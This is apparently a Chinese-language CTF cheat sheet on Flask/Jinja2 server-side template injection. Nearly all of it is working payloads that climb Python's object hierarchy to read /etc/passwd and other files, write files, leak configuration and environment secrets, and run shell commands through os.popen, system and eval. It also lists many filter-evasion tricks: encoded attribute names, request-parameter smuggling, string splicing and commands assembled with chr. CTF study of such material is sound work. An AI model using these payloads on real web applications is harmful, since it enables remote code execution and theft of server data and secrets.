SSTI(flask)
参考CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
- dict:保存类实例或对象实例的属性变量键值对字典
- class:返回调用的参数类型
- mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- bases:返回类型列表
- subclasses:返回object的子类
- init:类的初始化方法
- globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
base 和 mro 都是用来寻找基类的。
基本流程
使用魔术方法进行函数解析,再获取基本类:
1
2
3
4
5
|
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
|
获取基本类后,继续向下获取基本类 object 的子类:
1
|
object.__subclasses__()
|
找到重载过的__init__类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):
1
2
3
4
|
''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
|
查看其引用 __builtins__
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
|
这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
|
读写文件
读文件
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
|
写文件
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()
|
存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。
另外的写法
1
|
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
|
命令执行
eval执行
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
|
warnings.catch_warnings 进行命令执行
首先,查看 warnings.catch_warnings 方法的位置:
1
|
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
|
查看 linecatch 的位置:
1
|
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
|
查找 os 模块的位置:
1
|
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
|
查找 system 方法的位置:
1
|
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
|
调用 system 方法:
1
|
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
|
command命令执行
1
|
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
|
1
|
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
|
1
|
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
|
姿势集
config
1
2
3
4
|
{{config}} 可以获取当前设置,如果题目是这样的:
app.config ['FLAG'] = os.environ.pop('FLAG')
可以直接访问 {{config['FLAG']}} 或者 {{config.FLAG}} 得到 flag
|
1
|
{{self.__dict__._TemplateReference__context.config}}
|
[]、()
1
|
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
|
全局变量
url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等
如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。例如:
1
2
3
4
5
|
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
{{url_for.__globals__['__builtins__']['eval'("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
|
过滤了 []、.
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
1
|
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
|
在这里使用 pop 函数并不会真的移除,但却能返回其值,取代中括号来实现绕过。
若.也被过滤,使用原生 JinJa2 函数 |attr()
即将 request.class 改成 request|attr("class")
过滤__
利用 request.args 的属性
1
|
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}?class=__class__&mro=__mro__&subclasses=__subclasses__
|
将其中的 request.args 改为 request.values,则利用 post 的方式进行传参。
GET:
1
|
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
|
POST:
1
|
class=__class__&mro=__mro__&subclasses=__subclasses__
|
过滤""
request.args 是 flask 中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
1
|
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}?path=/etc/passwd
|
一些关键字被过滤
base64编码绕过
用于__getattribute__使用实例访问属性时。
例如,过滤掉 class 关键词
1
|
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
|
字符串拼接绕过
1
2
|
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
|
查类脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import re
# 将查找到的父类列表替换到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']
pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)
|
进阶办法
上面内置函数还是讲的不够清楚
flask提供了两个内置的全局函数:url_for、get_flashed_messages
,两个都有__globals__
键;
jinja2一共有3个内置的全局函数:range、lipsum、dict
,其中只有lipsum有__globals__
键
flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;
jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用
1
2
3
4
5
6
|
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路
|
内置类 Undefined
在渲染().__class__.__base__.__subclasses__().c.__init__
初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为``,所以看起来并不存在的c类实际上触发了内置的Undefined类型。
payload
1
2
|
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
|
bytes
python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串。
1
2
|
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]
|
bypass
1
2
3
4
5
|
# 字符串拼接
""["__cl"+"ass__"]
""["__cl""ass__"]
# 字符串倒序
""["__ssalc__"[::-1]]
|
符号绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 绕过.
""['__class__']
''|attr('__class__')
# 绕过[]
__subclasses__().pop(40) == __subclasses__()[40]
__subclasses__().__getitem__(40) == __subclasses__()[40]
# 绕过\{\{
{%print()%}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
# 也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /') %}1{% endif %}
# 也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
|
编码绕过
1
2
3
4
5
6
7
|
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
|
通用绕过
先检测有ssti
获取__globals__
1
2
|
获取globals
{%set globals=dict(globals=a)|join%}{%print globals%}
|
1
2
3
4
5
6
7
|
获取下划线
{%print lipsum|string|list%}
获取pop方法
我们知道从哪里获取下划线之后,但是要考虑如何使用索引值来获取,这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。
{%set pop=dict(po=a,p=b)|join%}{%print pop%}
这样的话我们就可以获取到下划线了。
{%set pop=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%print xiahuaxian%}
|
1
2
|
获取下划线之后也就自然能获得__globals__。
{%set pop=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%set globals=dict(globals=a)|join%}{%print(xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}
|
获取os模块
1
2
|
获取os字符串
{%set shell=dict(o=a,s=b)|join%}{%print shell%}
|
1
2
3
|
获取get()方法
获取get,以便我们使用get()获取到os模块。
{%set get=dict(get=a)|join%}{%print get%}
|
1
2
3
4
5
6
|
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}
|
获取popen方法
1
|
{%set popen=dict(popen=a)|join%}{%print popen%}
|
1
2
3
4
5
6
7
|
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}
|
执行shell命令
拼接shell命令我们需要使用chr函数,因为chr不是flask的函数,所以我们必须自己获取。
1
|
(lipsum|attr("__globals__"))|attr("__builtins__")|attr(get)(chr)
|
1
2
3
4
5
|
获取__builtins__
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}
|
1
2
3
4
5
6
7
8
9
|
获取chr
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%print char%}
|
我们以"cat /flag"命令为例。拼接命令
1
2
3
4
5
6
7
8
9
|
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%print command%}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)%}
{%print result%}
|
但是这里用的是popen,popen()方法执行的返回结果是一个file对象,我们需要在使用read()函数进行读取。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}
|